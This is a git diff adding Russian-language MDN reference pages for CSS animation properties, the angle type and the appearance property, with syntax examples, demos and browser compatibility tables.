Представляет угол в градах. Один полный круг равен 400grad. Например: 0grad, 100grad, 38.8grad.
+
rad
+
Представляет угол в радианах. Один полный круг равен 2π или примерно 6.2832rad. 1rad - это 180/π градусов. Например: 0rad, 1.0708rad, 6.2832rad.
+
turn
+
Представляет угол в количестве оборотов. Один полный круг равен 1turn. Например: 0turn, 0.25turn, 1.2turn.
+
+ +

Примеры

+ + + + + + + + + + + + + + + + + + + + +
Angle90.png +

Прямой угол: 90deg = 100grad = 0.25turn≈ 1.5708rad

+
Angle180.pngРазвернутый угол: 180deg = 200grad = 0.5turn ≈ 3.1416rad
AngleMinus90.pngПрямой угол (против часовой стрелки): -90deg = -100grad = -0.25turn ≈ -1.5708rad
Angle0.png +

Нулевой угол: 0deg = 0grad = 0turn = 0rad

+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS4 Values', '#angles', '<angle>') }}{{ Spec2('CSS4 Values') }}
{{ SpecName('CSS3 Values', '#angles', '<angle>') }}{{ Spec2('CSS3 Values') }}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{Compat("css.types.angle")}}

+ +
diff --git a/files/ru/web/css/animation-delay/index.html b/files/ru/web/css/animation-delay/index.html new file mode 100644 index 0000000000..bdb16f6d40 --- /dev/null +++ b/files/ru/web/css/animation-delay/index.html @@ -0,0 +1,126 @@ +--- +title: animation-delay +slug: Web/CSS/animation-delay +tags: + - CSS + - CSS анимации + - CSS свойства +translation_of: Web/CSS/animation-delay +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Описание

+ +

CSS свойство animation-delay определяет время задежки перед стартом анимации.

+ +

{{EmbedInteractiveExample("pages/css/animation-delay.html")}}

+ +

Значение 0s, которое является значением по умолчанию, указывает на то, что анимация должна начаться непременно. В противном случае, старт анимации будет отложен на указанное время.

+ +

При указании отрицательного значения, анимация также начнется непременно, но ее воспроизведение начнется не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
animation-delay: 3s;
+animation-delay: 2s, 4ms;
+
+ +

Значения

+ +
+
<time>
+
Время задержки перед стартом анимации. Может быть определено в секундах (s), либо в милисекундах (ms). Если вы не укажите единицу измерения, свойство будет недействительным.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

Посмотрите CSS анимации для примера.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Animations', '#animation-delay', 'animation-delay')}}{{Spec2('CSS3 Animations')}}Начальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}		{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}		1012{{property_prefix("-o")}}
+ 12.10		4.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoMobile("16.0")}}		{{CompatUnknown}}12{{property_prefix("-o")}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/animation-direction/index.html b/files/ru/web/css/animation-direction/index.html new file mode 100644 index 0000000000..d3d2f0c36e --- /dev/null +++ b/files/ru/web/css/animation-direction/index.html @@ -0,0 +1,191 @@ +--- +title: animation-direction +slug: Web/CSS/animation-direction +translation_of: Web/CSS/animation-direction +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Описание

+ +

CSS-свойство animation-direction определяет, должна ли анимация воспроизводиться вперед, назад или переменно вперед и назад.
+
+ Также удобно использовать сокращенное свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Одиночная анимация */
+animation-direction: normal;
+animation-direction: reverse;
+animation-direction: alternate;
+animation-direction: alternate-reverse;
+
+/* Несколько анимаций */
+animation-direction: normal, reverse;
+animation-direction: alternate, reverse, normal;
+
+/* Глобальные значения */
+animation-direction: inherit;
+animation-direction: initial;
+animation-direction: unset;
+
+ +

Значения

+ +
+
normal
+
Анимация проигрывается вперед каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в начальное положение и снова проигрывается. Это значение по умолчанию.
+
reverse
+
Анимация проигрывается наоборот, с последнего положения до первого и потом снова сбрасывается в конечное положение и снова проигрывается.
+
alternate
+
Анимация меняет направление в каждом цикле, то есть в первом цикле она начинает с начального положения, доходит до конечного, а во втором цикле продолжает с конечного и доходит до начального и так далее, в зависимости от количества циклов анимации animation-iteration-count.
+
alternate-reverse
+
Анимация начинает проигрываться с конечного положения и доходит до начального, а в следующем цикле продолжая с начального переходит в конечное, в зависимости от количества итераций анимации animation-iteration-count.
+
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Смотрите примеры CSS анимаций.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Animations', '#animation-direction', 'animation-direction')}}{{Spec2('CSS3 Animations')}}Начальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}		1012{{property_prefix("-o")}}
+ 12.50		4.0{{property_prefix("-webkit")}}
reverse19{{CompatGeckoDesktop("16.0")}}10{{CompatNo}}{{CompatNo}}
alternate-reverse19{{CompatGeckoDesktop("16.0")}}10{{CompatNo}}{{CompatNo}}
Unprefixed{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoMobile("16.0")}}		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
reverse{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("16.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
alternate-reverse{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("16.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
Без префиксов{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(43.0)}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/animation-duration/index.html b/files/ru/web/css/animation-duration/index.html new file mode 100644 index 0000000000..5ffc1224da --- /dev/null +++ b/files/ru/web/css/animation-duration/index.html @@ -0,0 +1,131 @@ +--- +title: animation-duration +slug: Web/CSS/animation-duration +translation_of: Web/CSS/animation-duration +--- +
{{CSSRef}} {{ SeeCompatTable() }}
+ +

Описание

+ +

Свойство animation-duration устанавливает длительность анимации во времени за один цикл.

+ +

 

+ +

Значение по умолчанию 0s определяет, что анимация не должна выполняться.

+ +

Удобно использовать сокращенное свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
animation-duration: 6s;
+animation-duration: 120ms;
+animation-duration: 1s, 15s;
+animation-duration: 10s, 30s, 230ms;
+
+ +

Примеры

+ +
+
<time>
+
 
+
+ +
+
Длительность анимации определяется в секундах s или в миллисекундах ms. По умолчанию стоит значение 0s. Отрицательные значения являются недействительными.
+
+ +
Предупреждение: Отрицательные значения являются недействительными и отменяют объявление. Некоторые старые реализации считают отрицательные значения равнозначными 0s.
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Смотрите для примеров CSS анимации.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Animations', '#animation-duration', 'animation-duration') }}{{ Spec2('CSS3 Animations') }}Начальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support3.0{{ property_prefix("-webkit") }}
+ {{CompatChrome(43.0)}}		{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}
+ {{ CompatGeckoDesktop("16.0") }}		1012{{ property_prefix("-o") }}
+ 12.10		4.0{{ property_prefix("-webkit") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support2.0{{ property_prefix("-webkit") }}{{CompatUnknown}}{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}
+ {{ CompatGeckoMobile("16.0") }}		{{ CompatNo() }}{{ CompatNo() }}4.2{{ property_prefix("-webkit") }}{{CompatChrome(43.0)}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/animation-fill-mode/index.html b/files/ru/web/css/animation-fill-mode/index.html new file mode 100644 index 0000000000..6e1d0ef170 --- /dev/null +++ b/files/ru/web/css/animation-fill-mode/index.html @@ -0,0 +1,235 @@ +--- +title: animation-fill-mode +slug: Web/CSS/animation-fill-mode +tags: + - CSS + - CSS анимации + - CSS свойства +translation_of: Web/CSS/animation-fill-mode +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Описание

+ +

CSS свойство animation-fill-mode определяет, как нужно применять стили к объекту анимации до и после ее выполнения.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
animation-fill-mode: none;
+animation-fill-mode: forwards;
+animation-fill-mode: backwards;
+animation-fill-mode: both;
+
+/* Несколько значений могут быть заданы через запятую. */
+/* Каждое значение соответствует для анимации в animation-name. */
+animation-fill-mode: none, backwards;
+animation-fill-mode: both, forwards, none;
+
+ +

Значения

+ +
+
none
+
Стили анимации не будут применены к элементу до и после ее выполнения.
+
forwards
+
По окончании анимации элемент сохранит стили последнего ключевого кадра, который определяется значениями {{cssxref("animation-direction")}} и {{cssxref("animation-iteration-count")}}: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
animation-directionanimation-iteration-countпоследний ключевой кадр
normalлюбое100% или to
reverseлюбое0% или from
alternateчетное0% или from
alternateнечетное100% или to
alternate-reverseчетное100% или to
alternate-reverseнечетное0% или from
+
+
backwards
+
Элемент сохранит стиль первого ключевого кадра на протяжении периода {{cssxref("animation-delay")}}. Первый ключевой кадр определяется значением {{cssxref("animation-direction")}}: + + + + + + + + + + + + + + + + + +
animation-directionпервый ключевой кадр
normal или alternate0% или from
reverse или alternate-reverse100% или to
+
+
both
+
Анимация будет вести себя так, как будто значения forwards и backwards заданы одновременно.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Пример

+ +

Вы можете посмотреть эффект animation-fill-mode в следующем примере. По умолчанию, по окончании анимации стиль элемента возвращается к исходному. Значение forwards сохранит для элемента стиль последнего ключевого кадра.

+ +

HTML

+ +
<p>Наведите курсор мыши на серый блок</p>
+<div class="demo">
+  <div class="grows">Этот просто растет</div>
+  <div class="growsandstays">Этот растет и остается большим</div>
+</div>
+ +

CSS

+ +
.demo {
+  border-top: 100px solid #ccc;
+  height: 300px;
+  font-family: sans-serif;
+}
+@keyframes grow {
+    0% { font-size: 0 }
+    100% { font-size: 40px }
+}
+@-webkit-keyframes grow {
+    0% { font-size: 0 }
+    100% { font-size: 40px }
+}
+.demo:hover .grows {
+    animation-name: grow;
+    animation-duration: 3s;
+    -webkit-animation-name: grow;
+    -webkit-animation-duration: 3s;
+}
+.demo:hover .growsandstays {
+    animation-name: grow;
+    animation-duration: 3s;
+    animation-fill-mode: forwards;
+    -webkit-animation-name: grow;
+    -webkit-animation-duration: 3s;
+    -webkit-animation-fill-mode: forwards;
+}
+ +

{{EmbedLiveSample('Example',700,300)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Animations', '#animation-fill-mode', 'animation-fill-mode')}}{{Spec2('CSS3 Animations')}}Начальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}		{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}		1012{{property_prefix("-o")}}
+ 12.10		4.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/animation-iteration-count/index.html b/files/ru/web/css/animation-iteration-count/index.html new file mode 100644 index 0000000000..cffef0088d --- /dev/null +++ b/files/ru/web/css/animation-iteration-count/index.html @@ -0,0 +1,133 @@ +--- +title: animation-iteration-count +slug: Web/CSS/animation-iteration-count +tags: + - CSS + - CSS Animations + - CSS Property + - Experimental + - Reference +translation_of: Web/CSS/animation-iteration-count +--- +
{{ CSSRef() }}
+ +
{{ SeeCompatTable() }}
+ +

Обзор

+ +

CSS свойство animation-iteration-count определяет сколько раз будет проигрываться анимационный цикл, перед тем как остановиться.

+ +

Наиболее удобно использовать это свойство в сокращенном варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
animation-iteration-count: infinite;
+animation-iteration-count: 3;
+animation-iteration-count: 2.3;
+
+animation-iteration-count: 2, 0, infinite;
+
+ +

Значения

+ +
+
infinite
+
Анимация повторяется бесконечно.
+
<number>
+
Сколько раз анимация будет повторяться; по-умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведет половину анимационного цикла).
+
+ +

Правила синтаксиса

+ +
{{csssyntax}}
+ +

Примеры

+ +

Смотрите примеры  CSS анимации.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Animations', '#animation-iteration-count', 'animation-iteration-count') }}{{ Spec2('CSS3 Animations') }} 
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}
+ {{CompatChrome(43.0)}}		{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}
+ {{ CompatGeckoDesktop("16.0") }}		10 12 {{ property_prefix("-o") }}
+ 12.10		4.0{{ property_prefix("-webkit") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChromeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Базовая поддержка{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}{{CompatUnknown}}{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}
+ {{ CompatGeckoMobile("16.0") }}		{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatChrome(43.0)}}
+  
+
+ +

Также смотрите

+ + diff --git a/files/ru/web/css/animation-name/index.html b/files/ru/web/css/animation-name/index.html new file mode 100644 index 0000000000..b1d1dc080b --- /dev/null +++ b/files/ru/web/css/animation-name/index.html @@ -0,0 +1,133 @@ +--- +title: animation-name +slug: Web/CSS/animation-name +translation_of: Web/CSS/animation-name +--- +
{{CSSRef}} {{SeeCompatTable}}
+ +

Описание

+ +

CSS свойство animation-name задаёт список анимаций, чтобы примененить к элементу. Каждое имя является правилом {{cssxref("@keyframes")}}, которое задаёт значения свойств для последовательности анимации.

+ +
{{EmbedInteractiveExample("pages/css/animation-name.html")}}
+ + + +

Часто удобно использовать сокращенное свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.

+ +

Синтаксис

+ +
/* Single animation */
+animation-name: none;
+animation-name: test_05;
+animation-name: -specific;
+animation-name: sliding-vertically;
+
+/* Multiple animations */
+animation-name: test1;
+animation-name: test1, animation4;
+animation-name: none, -moz-specific, sliding;
+
+/* Global values */
+animation-name: initial
+animation-name: inherit
+animation-name: unset
+
+ +

Значения

+ +
+
none
+
Это специальное ключевое слово, обозначающее отсутствие ключевых кадров. Оно может быть использовано для отключения анимации без изменения порядка других идентификаторов, или для отключения анимации, поступающей из каскада.
+
{{cssxref("custom-ident","<custom-ident>")}}
+
Строка, идентифицирующая анимацию. Этот индентификатор состоит из комбинации букв без учета регистра от a до z, цифр от 0 до 9, подчеркивания (_), и/или черты (-). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть none, unset, initial, или inherit в любой комбинации случаев.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

См. CSS animations.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Animations', '#animation-name', 'animation-name')}}{{Spec2('CSS3 Animations')}}Начальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}		{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}		10 12 {{property_prefix("-o")}}
+ 12.10		4.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/animation-play-state/index.html b/files/ru/web/css/animation-play-state/index.html new file mode 100644 index 0000000000..293765d1e9 --- /dev/null +++ b/files/ru/web/css/animation-play-state/index.html @@ -0,0 +1,130 @@ +--- +title: animation-play-state +slug: Web/CSS/animation-play-state +translation_of: Web/CSS/animation-play-state +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Описание

+ +

Свойство animation-play-state определяет состояние анимации, паузы или проигрыша. Это можно использовать, чтобы определить текущее состояние анимации, например, в скриптах.

+ +

Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнется с начала.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Одна анимация */
+animation-play-state: running;
+animation-play-state: paused;
+
+/* Несколько анимаций */
+animation-play-state: paused, running, running;
+
+/* Глобальный значения */
+animation-play-state: inherited;
+animation-play-state: initial;
+animation-play-state: unset;
+
+ +

Значения

+ +
+
running
+
Анимация проигрывается.
+
paused
+
Анимация поставлена на паузу.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

См. CSS animations.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Animations', '#animation-play-state', 'animation-play-state')}}{{Spec2('CSS3 Animations')}}Начальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(43.0)}}		{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}		1012 {{property_prefix("-o")}}
+ 12.10		{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/animation-timing-function/index.html b/files/ru/web/css/animation-timing-function/index.html new file mode 100644 index 0000000000..c9c5c388b1 --- /dev/null +++ b/files/ru/web/css/animation-timing-function/index.html @@ -0,0 +1,92 @@ +--- +title: animation-timing-function +slug: Web/CSS/animation-timing-function +translation_of: Web/CSS/animation-timing-function +--- +

{{CSSRef}}

+ +

CSS свойство animation-timing-function задаёт как происходит анимация в течении длительности каждого цикла.

+ +

{{EmbedInteractiveExample("pages/css/animation-timing-function.html")}}

+ + + +

Достаточно удобно использовать сокращённое свойство {{cssxref("animation")}} для того, чтобы установить все свойства для анимации одновременно.

+ +

Синтаксис

+ +
/* Keyword values */
+animation-timing-function: ease;
+animation-timing-function: ease-in;
+animation-timing-function: ease-out;
+animation-timing-function: ease-in-out;
+animation-timing-function: linear;
+animation-timing-function: step-start;
+animation-timing-function: step-end;
+
+/* Function values */
+animation-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1);
+animation-timing-function: steps(4, end);
+
+/* Steps Function keywords */
+animation-timing-function: steps(4, jump-start);
+animation-timing-function: steps(10, jump-end);
+animation-timing-function: steps(20, jump-none);
+animation-timing-function: steps(5, jump-both);
+animation-timing-function: steps(6, start);
+animation-timing-function: steps(8, end);
+
+/* Multiple animations */
+animation-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1);
+
+/* Global values */
+animation-timing-function: inherit;
+animation-timing-function: initial;
+animation-timing-function: unset;
+ +

Временные функции могут быть установлены в пользовательских keyframes'ах в правилах @keyframes. Если в keyframe'е значение animation-timing-function указано, соответствующее значение animation-timing-function от элемента к которому анимация применена используется для этого keyframe'а.

+ +

Значения

+ +
+
<timingfunction>
+
Каждый {{cssxref("<timing-function>")}} представляет функцию расчета времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

См. CSS animations.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Animations', '#animation-timing-function', 'animation-timing-function')}}{{Spec2('CSS3 Animations')}}Начальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("css.properties.animation-timing-function")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/animation/index.html b/files/ru/web/css/animation/index.html new file mode 100644 index 0000000000..3abcbb06a7 --- /dev/null +++ b/files/ru/web/css/animation/index.html @@ -0,0 +1,118 @@ +--- +title: animation +slug: Web/CSS/animation +translation_of: Web/CSS/animation +--- +
{{CSSRef}}
+ +

CSS свойство animation это короткая запись для {{cssxref("animation-name")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-timing-function")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-fill-mode")}} и {{cssxref("animation-play-state")}}.

+ +

{{EmbedInteractiveExample("pages/css/animation.html")}}

+ +

Описание того, какие свойства являются анимируемые доступно; стоит отметить, что это описание также подходит для CSS переходов.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* @keyframes duration | timing-function | delay |
+   iteration-count | direction | fill-mode | play-state | name */
+  animation: 3s ease-in 1s 2 reverse both paused slidein;
+
+/* @keyframes duration | timing-function | delay | name */
+  animation: 3s linear 1s slidein;
+
+/* @keyframes duration | name */
+  animation: 3s slidein;
+
+ +

Порядок важен в каждом определении анимации: первое значение, которое может быть проанализировано как {{cssxref("<time>")}} присваивается {{cssxref("animation-duration")}}, и второй назначен {{cssxref("animation-delay")}}.

+ +

Note that order is also important within each animation definition for distinguishing {{cssxref("animation-name")}} values from other keywords. When parsing, keywords that are valid for properties other than {{cssxref("animation-name")}} whose values were not found earlier in the shorthand must be accepted for those properties rather than for {{cssxref("animation-name")}}. Furthermore, when serializing, default values of other properties must be output in at least the cases necessary to distinguish an {{cssxref("animation-name")}} that could be a value of another property, and may be output in additional cases.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Посмотрите примеры CSS анимаций.

+ +

Cylon Eye

+ +

Учитывая все специфичные для браузеров префиксы, вот анимация цилиндрического глаза, включающая линейные градиенты и анимацию, которая работает во всех основных браузерах:

+ +
<div class="view_port">
+  <div class="polling_message">
+    Listening for dispatches
+  </div>
+  <div class="cylon_eye"></div>
+</div>
+
+ +
.polling_message {
+  color: white;
+  float: left;
+  margin-right: 2%;
+}
+
+.view_port {
+  background-color: black;
+  height: 25px;
+  width: 100%;
+  overflow: hidden;
+}
+
+.cylon_eye {
+  background-color: red;
+  background-image: -webkit-linear-gradient(    left, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  background-image:    -moz-linear-gradient(    left, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  background-image:      -o-linear-gradient(    left, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  background-image:         linear-gradient(to right, rgba( 0,0,0,0.9 ) 25%, rgba( 0,0,0,0.1 ) 50%, rgba( 0,0,0,0.9 ) 75%);
+  color: white;
+  height: 100%;
+  width: 20%;
+
+  -webkit-animation: 4s linear 0s infinite alternate move_eye;
+     -moz-animation: 4s linear 0s infinite alternate move_eye;
+       -o-animation: 4s linear 0s infinite alternate move_eye;
+          animation: 4s linear 0s infinite alternate move_eye;
+}
+
+@-webkit-keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+   @-moz-keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+     @-o-keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+        @keyframes move_eye { from { margin-left:-20%; } to { margin-left:100%; }  }
+
+ +

{{EmbedLiveSample('Cylon_Eye')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Animations', '#animation', 'animation')}}{{Spec2('CSS3 Animations')}}Изначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("css.properties.animation")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/appearance/index.html b/files/ru/web/css/appearance/index.html new file mode 100644 index 0000000000..af72de18ef --- /dev/null +++ b/files/ru/web/css/appearance/index.html @@ -0,0 +1,2668 @@ +--- +title: 'appearance (-moz-appearance, -webkit-appearance)' +slug: Web/CSS/appearance +tags: + - Стилизация + - кастомные свойства +translation_of: Web/CSS/appearance +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

CSS свойство -moz-appearance используется в Gecko (Firefox) для отображения элемента, используя базовые стили платформы на основе темы операционной системы.

+ +

Свойство -webkit-appearance используется в браузерах WebKit-based (например, Safari) и Blink-based (например, Chrome, Opera) для того же эффекта. Заметьте, что Firefox и Edge также поддерживают -webkit-appearance, для обеспечения совместимости.

+ +
{{EmbedInteractiveExample("pages/css/appearance.html")}}
+ + + +

Это свойство часто используется в таблицах стилей XUL для разработки пользовательских виджетов в стиле, соответствующем платформе. Оно, также, используется в реализации XBL виджетов, которые поставляются с платформой Mozilla.

+ +
+

Примечание о совместимости: Если вы хотите использовать это свойство на веб-сайте, вы должны тестировать его очень осторожно. Хотя оно поддерживается в большинстве современных браузерах, его реализация широко варьируется. В старых браузерах, даже ключевое слово none не окажет одинакового эффекта на все элементы формы различных браузеров, а некоторые его совсем не поддерживают. Различия меньше в более современных браузерах.

+
+ +

Синтаксис

+ +
/* CSS модуль базового интерфейса 4 уровня, значения */
+appearance: none;
+appearance: auto;
+appearance: button;
+appearance: textfield;
+appearance: searchfield;
+appearance: textarea;
+appearance: push-button;
+appearance: button-bevel;
+appearance: slider-horizontal;
+appearance: checkbox;
+appearance: radio;
+appearance: square-button;
+appearance: menulist;
+appearance: menulist-button;
+appearance: listbox;
+appearance: meter;
+appearance: progress-bar;
+
+/* Частичный список доступных значений в Gecko */
+-moz-appearance: scrollbarbutton-up;
+-moz-appearance: button-bevel;
+
